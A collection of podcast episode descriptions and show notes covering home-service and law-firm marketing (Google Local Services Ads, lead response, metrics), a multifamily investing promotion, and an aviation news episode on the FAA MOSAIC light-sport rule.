(00:20:02) Emphasizes the role of strong phone skills and customer care in converting leads.Advice for New Shop Owners on Marketing (00:21:47) Recommends launching a website early and investing in top-tier marketing services.AI, Online Presence, and Future Trends (00:22:04) Mentions being found on Reddit, the rise of AI, and its impact on business visibility.Future Plans for Pleasant Automotive (00:23:24) Plans to expand with more small, relationship-focused locations, maintaining a "speakeasy" feel.Closing Remarks and Anecdotes (00:24:52) Host and guests share personal stories, thank listeners, and wrap up the episode.Lagniappe (Books, Links, Other Podcasts, etc)
From texting workflows and estimate calculators to Google's four-result “Monopoly board,” Phil shows how better ops beat “more leads.” We dig into retargeting your ignored database, the five metrics that matter, and how AI/LLM authority content will shape the next decade. Whether you run HVAC, plumbing, gutters—or manage 1,800 units—these tactics turn chaos into pipeline. Watch to level up your home service marketing today.Connect with Phil RisherWebsite: https://phlashconsulting.com/ Chapters:00:00 – Introduction 07:19 – Two big fixes: ROAS visibility + lead management 09:11 – Text-first workflows that boost response & bookings 13:37 – Chat-to-text widgets & estimate calculators that convert 22:10 – Google “Monopoly board”: LSA, Search Ads, Map Pack, SEO 24:26 – Content flywheel from real customer calls (They Ask, You Answer) 27:21 – AI search & becoming the local authority with content 38:28 – Scaling ladder & PE honey holes (retargeting) 44:45 – Gino Wraps it Up We're here to help create multifamily entrepreneurs... Here's how: Brand New? Start Here: https://jakeandgino.mykajabi.com/free-wheelbarrowprofits Want To Get Into Multifamily Real Estate Or Scale Your Current Portfolio Faster? Apply to join our PREMIER MULTIFAMILY INVESTING COMMUNITY & MENTORSHIP PROGRAM. (*Note: Our community is not for beginner investors)
This week on Marketing O'Clock: Full placement reporting is finally arriving for the Search Partner Network. Also, Google retires its LSA badges in favor of one “Verified” badge. Plus, AI Mode expands internationally with new capabilities — but still English-only.Link to Fred's Article - https://www.optmyzr.com/blog/amazon-leaves-google-ads-impact/Visit us at - https://marketingoclock.com/
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In this episode of the Aviation News Talk podcast, Max Trescott talks with Sean Elliott, Vice President of Advocacy and Safety at the Experimental Aircraft Association (EAA), about the FAA's groundbreaking MOSAIC final rule—and how it benefits all pilots, not just sport pilots or Light-Sport Aircraft owners. Sean explains that MOSAIC replaces the old, restrictive Light-Sport Aircraft definition with a performance-based standard, removing the long-standing 1,320-pound maximum takeoff weight limit and focusing instead on a clean stall speed (VS1) of no more than 59 knots CAS for sport pilot privileges and a landing configuration stall speed (VSO) of no more than 61 knots for LSA certification. This single change dramatically broadens the pool of aircraft that qualify, meaning many popular legacy models—like certain Cessna 172s and even Cirrus SR20s—can now be flown by sport pilots, and private pilots can operate them under sport pilot privileges with nothing more than a valid U.S. driver's license in place of an FAA medical. For older pilots or those with long-term medical concerns, MOSAIC is a game-changer. A private pilot who no longer maintains a Third Class or BasicMed medical can still keep flying a wide variety of capable, familiar aircraft—often including the same ones they've flown for years—so long as they meet the new stall speed limits and carry no more than one passenger. Sean and Max discuss how this provision gives seasoned aviators a safe and legal way to extend their flying years without the administrative burden or risk of renewing a medical certificate. MOSAIC also expands sport pilot privileges beyond the original daytime, fair-weather limitations. With additional training and endorsements, sport pilots will be able to fly at night under VFR, operate aircraft with constant-speed propellers and retractable landing gear, and take advantage of higher cruise speeds—removing many of the practical barriers that once kept sport pilots from flying more capable airplanes. The rule even opens the door for certain limited commercial operations by sport pilots, including banner towing, glider towing, and pipeline or powerline patrol—tasks previously off-limits without at least a private pilot certificate. On the aircraft side, the MOSAIC framework allows manufacturers to certify a much wider range of designs as LSAs under ASTM consensus standards. This could lead to modernized versions of classic Part 23 trainers like the Cessna 172 becoming available in factory-new LSA configurations, as well as innovative new designs in the experimental, gyroplane, and electric aircraft categories. Sean notes that this flexibility benefits the industry by encouraging innovation while keeping costs lower than traditional FAA certification pathways. Flight schools stand to gain as well. Because many mainstream trainers now qualify as LSAs, schools can use them to train sport pilots without investing in specialized two-seat LSAs that may be less versatile for other types of training. This flexibility could help schools reach a new segment of students—especially older adults returning to flying or beginners looking for a faster, less expensive path to the cockpit. Max and Sean also cover how MOSAIC affects aircraft maintenance. Repairman certificates for LSAs will still exist, and MOSAIC provides expanded privileges for light-sport repairman-inspectors and mechanics working on these aircraft, supporting both owner-maintenance and professional servicing. Sean stresses that while MOSAIC dramatically broadens options, it doesn't automatically change the certification status of existing aircraft—manufacturers or owners must still pursue LSA certification through the ASTM process. That means pilots should verify whether a particular aircraft is LSA-certified or qualifies for operation under sport pilot rules before assuming they can fly it without a medical. The conversation closes with EAA's commitment to supporting pilots, flight schools, and manufacturers through MOSAIC's rollout. EAA will work closely with ASTM to develop the updated industry standards needed to implement the new rules, while also providing education and advocacy to ensure pilots understand their new privileges and responsibilities. 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The MOSAIC final rule, an interview with the founder and CEO of Flying Eyes Optics, FAA guidance on certification of powered lift vehicles, new galleries opening at the National Air and Space Museum, a Delta pilot lands and gets immediately arrested, deer strikes in Alaska, and the NTSB investigation of a fatal flight in that state. Also, thoughts on recent moves to relocate the Space Shuttle Discovery from the Smithsonian's National Air and Space Museum to Space Center Houston. Guest Dean Siracusa Dean Siracusa is the founder and CEO of Flying Eyes Optics. Dean, a pilot, started the company when he realized that existing sunglasses did not perform well with the increased clamping force of modern aviation headsets. Flying Eyes temples are made of a patented material that allows the temples to conform to your head instead of curving around your ears. They're easy to put on and take off while wearing a headset or helmet. The flexibility of the temple material and shatterproof polycarbonate lenses makes these glasses hard to break. Hillel Glazer, our Aviation Innovation and Entrepreneurship Correspondent, interviewed Dean at EAA AirVenture Oshkosh 2025. Aviation News U.S. Transportation Secretary Sean P. Duffy Announces Improvements to Recreational Aviation Safety, Expansion of Light-Sport Sector The Modernization of Special Airworthiness Certification (MOSAIC) final rule was announced by U.S. Transportation Secretary Sean P. Duffy. The new rule makes changes to the Light Sport Aircraft (LSA) category and Sport Pilot privileges by expanding an alternative to experimental amateur-built aircraft. MOSAIC: Removes the weight limit Encompasses aircraft with higher speeds, more seats, and retractable landing gear. Allows for new types of propulsion and modern avionics. Allows aerial work with LSA, such as infrastructure and forest inspections, photography/filming, and agricultural surveillance. Allows pilots operating under Sport Pilot privileges to fly a broader range of aircraft. Reduces regulatory requirements by expanding the types of aircraft that qualify as LSA and the types of aircraft pilots can fly under Sport Pilot privileges. Changes for sport pilots and light-sport repairmen take effect 90 days after the final rule publishes. Changes for LSA certification take effect 365 days after the final rule publishes. Video: Secretary Sean P. Duffy Holds Press Conference for Important Announcement on General Aviation https://www.youtube.com/live/iRzzTspdjUM?si=gje-ftiRm94Y2eY4 EAA Airventure Oshkosh 2025 Facts and Figures Attendance for the week: approximately 704,000, the highest on record. More than 10,000 aircraft, 2,543 show planes, nearly 6,000 volunteers, and 962 commercial exhibitors. FAA Releases Powered-Lift Certification Guidance Originally, certification of the new advanced air mobility (AAM) aircraft types, such as eVTOLs, had been worked under Part 23 regulations for light aircraft. In 2022, the FAA categorized them as powered-lift under FAR 21.17(b) regulations for special class aircraft. That category had no airworthiness standards and operating rules. The FAA has now released an advisory circular “streamlining the certification process for advanced air mobility aircraft by releasing guidance for how manufacturers can meet the agency's aircraft design and performance safety standards. It establishes a consistent, performance-based framework for manufacturers to follow. The FAA will carefully evaluate each proposed design to ensure it meets the agency's rigorous standards.” The AC defines powered-lift as heavier-than-air aircraft that use “engine-driven lift devices” or engine thrust for vertical takeoff and landing and low-speed flight. For lift during horizontal flight, they use rigid airfoils such as wings. National Air and Space Museum Opens Five New Galleries July 28 [2025] The Smithsonian's National Air and Space Museum opened five ...
Watch the YouTube version of this episode HEREAre you a law firm owner looking for advice on how to make your firm more lucrative? In this episode of the Maximum Lawyer Podcast, Tyson interviews Ted DeBettencourt, a JD/MBA and a business owner. Ted shares his journey from Martha's Vineyard to legal tech entrepreneurship, discussing the island's unique culture and his transition from law to business. To run a successful law firm, it is important that certain processes are in place and run efficiently to turn a profit. An important thing to implement is to ensure there are more staff over auto responders and AI for Local Service Ads (LSA). LSA's will rank firms based on response times and this can affect how people perceive your firm at the first click. If your response time is slow, most people will not call you for help. Using real people to answer leads and call prospective clients will ensure you get off on the right foot with people who are looking for legal support.Ted and Tyson chat about the three most important marketing metrics for a successful law firm. The first metric is wanted leads. It is important to know how many leads are actually wanted, in which a firm will be interested in taking on. The second metric is signed rates. Out of the wanted leads, how many of them were signed on as actual cases for the firm. This will determine how successful a firm is when it comes to the number of cases that are taken on and it can show value. The third metric is average case value. This can be determined by how much a firm makes in a year based on the type of cases. Ultimately, the average case value will let someone know how successful a firm really is.Listen in to learn more!05:25 Google Local Services Ads (LSA) and Lead Response06:49 Manual vs. Automated Lead Response07:46 Importance of Fast Lead Response09:20 AI vs. Human Chat: Present and Future10:37 Human Connection in the Age of AI11:26 Regulations and Human-Only Policies23:14 What Sets Successful Law Firms Apart25:54 Key Marketing Metrics for Law FirmsTune in to today's episode and checkout the full show notes here. Connect with Ted at JuvoLeads:Website Linkedin